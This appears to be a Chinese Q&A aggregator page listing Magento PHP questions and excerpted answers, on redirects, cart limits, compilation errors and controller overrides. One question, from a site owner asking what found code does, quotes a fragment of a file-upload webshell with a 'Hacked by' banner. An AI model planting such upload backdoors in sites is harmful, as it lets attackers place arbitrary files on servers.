草庐IT

Magento2

全部标签

php - 强制 Magento 没有路由返回状态 301 而不是 404

我的任务是强制我们所有的404页面返回301的http状态。我一直在网上搜索/阅读,但找不到有关如何完成此操作的任何信息。有没有办法改变layout.xml或模板文件中的http状态?如果不是,我应该查看哪个Controller? 最佳答案 我没有仔细研究它,但404消息似乎是在这个文件中发送的-在3个函数中:服务器路径:/app/code/core/Mage/Cms/controllers我将header从404更改为301重定向。可能不是最好的解决方案,但它似乎有效。**/***Defaultindexaction(with40

php - Magento:将每个订单的产品最大数量限制为 1。数量 2 = 2 个订单

是否可以将Magento中的特定产品限制为每个订单的最大数量?这意味着用户一次只能订购一种产品。如果他想两次订购该产品,他必须进行第二次订购。这对于我以后的订单工作流程来说非常重要。感谢您的帮助,非常感谢!亲切的问候,马努 最佳答案 是的,您可以在编辑产品时通过在库存选项卡上编辑值来限制购物车中产品的最大数量。请参见下面的屏幕截图。在您的情况下,您需要取消选中UseConfigSettings并将值设置为1。 关于php-Magento:将每个订单的产品最大数量限制为1。数量2=2个订单

php - 修复编译 magento 错误

我想启用magento编译,但是当我启用它时,我看到以下错误:Warning:include_once(.../includes/src/Mage_Core_functions.php)[function.include-once]:failedtoopenstream:Nosuchfileordirectoryin.../app/Mage.phponline36Warning:include_once()[function.include]:Failedopening'.../includes/src/Mage_Core_functions.php'forinclusion(incl

php - Magento 获取属性类型(例如下拉列表或文本)

我想知道如何获取产品属性对象的类型。在magento后端,需要在“文本字段”或“下拉列表”等各种选项之间进行选择。我正在使用产品导入脚本,了解正确设置值的属性类型很重要。 最佳答案 有一个简单的魔术方法可以获取对象的值:$attribute=Mage::getModel('eav/entity_attribute')->load($your_attribute_id);$attribute->getFrontendInput();结果是一个短字符串,例如“text”或“select”。以下是Magento1.7(德语翻译)中所有类型

php - 我的 Magento 网站被黑了,这段 php 代码有什么作用?

我刚刚在我的主机上发现了一些php文件,我对php的了解只有0.01%,有人可以解释一下这段代码的作用吗?[uname]".php_uname()."[/uname]";echo"";echo"";if($_POST["v"]==up){if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"berhasil-->".$_FILES["f"]["name"];}else{echo"gagal";}}}?>Hackedbyd3b~XGantengersCrewSultanHaikal-d3b~X-BrianKamikaz

php - 为初学者覆盖 Magento 管理 Controller

在MagentoAdmin部分,我想覆盖核心Mage的“Sales/Order/ShipmentController.php”Controller文件。我曾尝试使用“from”和“to”标签重写URL,但没有成功。我不知道这样做的实际和正确方法是什么,因为我是Magento的新手。请任何人提供一些好的基本和正确答案,以便至少概念清楚。另外,如果可能的话,请告诉我Controller的实际用途是什么,对于前端和后端?非常感谢任何帮助。 最佳答案 此处指定了覆盖Controller的正确方法:http://www.magentocomm

php - 如何遍历 Magento 购物车中的所有项目?

好吧,我不知道如何做这个简单的事情。我只需要遍历我目前在购物车中的3件商品,这样我就可以获得关于每件商品的信息——比如产品类别、商品名称等等。我已经在谷歌上搜索了一个小时,并没有找到任何看起来如此简单的任务。获取报价,然后getAllItems()不会为我返回任何内容。有人有任何想法/链接吗?谢谢。 最佳答案 您确定获取报价行不通吗?以下代码应该有效:$session=Mage::getSingleton('checkout/session');foreach($session->getQuote()->getAllItems()a

php - Magento CMS 页面 - 包含外部 PHP 脚本

我想在MagentoCMS页面中包含外部PHP脚本例如**http://myhost/magento/custom/script.php**Magento页面上的结果应该是:“hello”最简单的方法是什么? 最佳答案 最好的方法可能是通过布局更新XML部分(在设计选项卡上)。您可以为您的模板php文件创建一个新block,或使用Mage_Core_Block_Template。添加这个: 关于php-MagentoCMS页面-包含外部PHP脚本,我们在StackOverflow上找到一

php - Magento 社区 1.7.0.2 - 导出产品 CSV

Magento的全新安装,产品已安装等,正要导出产品CSV,一旦我提交了正常表单,错误“未发送有效数据”我开始进行一些调试以查看发生了什么.第一站是exception.logNotice:Undefinedindex:in/app/code/core/Mage/ImportExport/Model/Export/Entity/Product.phponline539'in/app/code/core/Mage/Core/functions.php:245导致问题的函数是:/***Updatedatarowwithinformationaboutcategories.Returntrue

php - Magento - 覆盖 Adminhtml block

我花了几个小时试图覆盖扩展程序中“添加商店”和“编辑商店”页面的Magentoblock,以向其添加另一个文本框。在翻阅书籍和谷歌搜索后,我发现了几个人们说有效的解决方案,但对我来说却不是。一个建议是thisone.我已经从LeeSaferite复制了假定正确的解决方案,该解决方案适用于原始海报,但不适用于我。当然,我将值更改为我正在覆盖的类和新修改的类。我的config.xml(相关部分):Nintera_General_Block_StoreEditNintera_General_Helper以及位于Nintera/General/Block/StoreEdit.php的block